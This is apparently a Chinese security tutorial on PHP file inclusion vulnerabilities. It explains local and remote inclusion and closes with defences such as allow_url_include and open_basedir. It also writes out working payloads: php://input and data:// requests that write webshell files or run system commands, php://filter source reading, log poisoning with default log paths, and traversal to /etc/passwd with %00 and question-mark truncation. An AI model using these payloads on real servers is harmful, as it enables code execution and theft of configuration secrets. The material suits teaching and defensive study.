简述
二十出头,故事开始的时候,他们忙着在大学里混日子逃课;二十三四岁,他们忙着投简历找工作;二十五六岁,他们忙着相亲,草草和不那么爱的人结婚。然后就30岁了
免责声明
不可对未授权的网站进行测试,仅供交流,后果自负
基础
什么是文件包含
文件包含就是为了将写好的代码功能更好的重复使用,用文件包含函数,将写好的功能代码直接引入到另一个代码页中,这样另一个代码页就不需要在写一遍重复的功能性代码。
什么是动态包含
在使用文件包含的时候,为了更灵活的包含文件,将文件包含的名字处设置为变量,而这个变量是通过GET方式来获取的值,这样既可通过前端所输入的文件名进行包含对应的文件。
远程与本地包含的区别
本地文件包含就是通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤允许遍历目录的字符注入浏览器并执行。
远程文件包含就是允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本。 此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击 甚至在目标服务器上执行代码。
本地文件包含与远程文件有着相同的原理,但前者只能包含服务器上存在的文件,而后者可以包含远程服务器上的文件。
文件包含漏洞原理
如动态包含所说,如果为了方便,采取动态包含的方式,那么恶意用户就有可能通过将值改变为恶意的文件,这样就会让后端执行恶意的文件。
若恶意用户构造文件名为本地的敏感信息,而后端并没有对敏感信息限制读取权限限制,则可能造成文件包含漏洞,导致任意文件读取。
若恶意用户构造文件名为远程的文件包含,那么这个被包含的文件为hack构造的恶意代码,而后端没有对这个代码进行检测,则可能造成恶意代码执行。
文件包含函数的区别
include():包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。
require():包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。
include_once():和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次。
require_once():和 require 类似,不同处在于 require_once 只导入一次
文件包含漏洞危害
读取WEB程序配置文件
利用这个漏洞并且知道WEB程序的路径便可以读取一些重要的配置文件获取重要信息,例如数据库连接的账号密码等等
利用文件上传漏洞组合getshell
利用文件上传处上传含有恶意代码的合法文件,然后利用文件包含漏洞,将恶意代码解析达到getshell的目的
包含日志文件getshell
这种漏洞利用方式下需要有一定的权限,需要Burp配合修改数据包防止转义。
文件包含漏洞利用
伪协议利用
php://input
说明:用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。
条件:
php <5.0 ,allow_url_include=Off 情况下也可以用
php > 5.0,只有在allow_url_fopen=On 时才能使用
例1 :增加一句话:
背景:结果将在file.php所在文件下的文件shell.php内增加"<?php phpinfo();?>"一句话。
URL:
http://localhost/include/file.php?file=php://input
POST:
<?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>") ?>
例2:增加文件
背景:通过fopen参数为w,可新建一个文件,并在新建的文件shell.php中写入<?php phpinfo();?>
URL:
http://localhost/include/file.php?file=php://input
POST:
<?php fputs(fopen("shell.php","w"),"<?php phpinfo();?>") ?>
例3:执行系统命令
背景:通过php的系统执行函数,将执行命令写入到文件中,并且执行系统命令
URL:
http://localhost/include/file.php?file=php://input
POST:
<?php system('ipconfig');?>
data://
说明:
这是一种数据流封装器,data:URI schema(URL schema可以是很多形式)
利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中
条件:
allow_url_include=On
php > 5.2
例1:文字命令
背景:使用了base64加密的内容
Payload:
http://localhost/file.php?file=data:text/plain,<?php system(whoami)?>
http://localhost/file.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==
例2 图片命令:
背景:后面加上图片木马
Payload:
http://localhost/image.php?imagedata=data://image/jpeg;base64,.....
data://手册:http://www.php.net/manual/zh/wrappers.data.php
php://filter
说明:这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过来:
Payload:
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\oneword
(绝对路径)
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=../../oneword
(相对路径)
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb.com/
《php:// 》:http://php.net/manual/zh/wrappers.php.php手册
包含日志文件
说明:比如Web服务器的访问日志文件,这是一种通用的技巧。因为几乎所有网站都会将用户的访问记录到访问日志中。因此,攻击者可以向Web日志中插入PHP代码,通过文件包含漏洞来执行包含在Web日志中的PHP代码。下面的案例中就是利用该技巧成功获取到目标网站的WebShell的。但需要注意的是,如果网站访问量大的话,日志文件可能会非常大,这时如果包含一个这么大的文件时,PHP进程可能会卡死。一般网站通常会每天生成一个新的日志文件,因此在凌晨时进行攻击相对来说容易成功。
日志默认路径
apache+Linux日志默认路径
/etc/httpd/logs/access_log/var/log/httpd/access_log
apache+win2003日志默认路径
D:xamppapachelogsaccess.log
D:xamppapachelogserror.log
IIS6.0+win2003默认日志文件
C:WINDOWSsystem32Logfiles
IIS7.0+win2003 默认日志文件
%SystemDrive%inetpublogsLogFiles
nginx 日志文件在用户安装目录的logs目录下
如安装目录为/usr/local/nginx,则日志目录就是在/usr/local/nginx/logs里
也可通过其配置文件Nginx.conf,获取到日志的存在路径(/opt/nginx/logs/access.log)
例1 :包含日志一句话
背景:日志会记录客户端请求及服务器响应的信息,访问http://www.xx.com/<?php phpinfo(); ?>时,<?php phpinfo(); ?>也会被记录在日志里,也可以插入到User-Agent,但是请求的信息有可能被url编码之后记录日志,这里可以通过burp来发送请求包来防止被编码,通过相对路径找到日志文件,用webshell工具连接即可
Payload:
http://localhost/include/file.php?file=../../apache/logs/access.log
文件包含漏洞绕过
00字符截断(PHP<5.3.4)
说明:
PHP内核是由C语言实现的,因此使用了C语言中的一些字符串处理函数。在连接字符串时,0字节(x00)将作为字符串的结束符。所以在这个地方,攻击者只要在最后加入一个0字节,就能截断file变量之后的字符串。
../etc/passwd
通过web输入时,只需UrlEncode,变成:
../etc/passwd%00
字符串截断的技巧,也是文件包含中最常用的技巧
防御方法:
在一般的web应用中,0字节用户其实是不需要的,因此完全可以禁用0字节
超长字符截断
采用00字符过滤并没有完全解决问题,
利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。
http://www.ibm.com/developerworks/cn/java/j-lo-longpath.html
我们知道目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。
而利用"./"的方式即可构造出超长目录字符串:
除了incldue()等4个函数之外,PHP中能够对文件进行操作的函数都有可能出现漏洞。虽然大多数情况下不能执行PHP代码,但能够读取敏感文件带来的后果也是比较严重的。例如: fopen()、fread()
任意目录遍历
除了这种攻击方式,还可以使用"../../../"这样的方式来返回到上层目录中,这种方式又被称为"目录遍历(Path Traversal)"。常见的目录遍历漏洞,还可以通过不同的编码方式来绕过一些服务器端的防御逻辑(WAF)
防御方法:
目录遍历漏洞是一种跨越目录读取文件的方法,但当PHP配置了open_basedir时,将很好地保护服务器,使得这种攻击无效。
open_basedir的作用是限制在某个特定目录下PHP能打开的文件(有点像chroot的感觉)
比如在没有设置open_basedir时,文件包含漏洞可以访问任意文件。
当设置了open_basedir时,则包含文件失败。
问号截断
如果路径的后半段都定死了,但是结合HTTP传参的原理可以绕过去
攻击者可以构造类似如下的攻击URL:
http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php?
产生的原理:
/?path=http://localhost/test/solution.php?
最终目标应用程序代码实际上执行了:
require_once "http://localhost/test/solution.php?/action/m_share.php";
(注意,这里很巧妙,问号"?"后面的代码被解释成URL的querystring,这也是一种"截断"思想,和%00一样)
攻击者可以在http://localhost/test/solution.php上模拟出相应的路径,从而使之吻合
防御思路
关闭远程文件包含的配置选项allow_url_include = Off
文件包含漏洞防御
无需情况下设置allow_url_include和allow_url_fopen为关闭
对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录,如open_basedir
尽量不使用动态包含
严格检查变量是否已经初始化。
建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现../之类的目录跳转符。
严格检查include类的文件包含函数中的参数是否外界可控。
不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。
在发布应用程序之前测试所有已知的威胁。
文件包含靶场地址
链接:https://pan.baidu.com/s/1W1T3CEIElsuYOOVrL_e66w
提取码:Aqua
思维导图概览地址
链接:https://pan.baidu.com/s/1cRABWgwLmUXw_VAWLqMQZw
提取码:Aqua
文章参考:https://www.anquanke.com/post/id/86123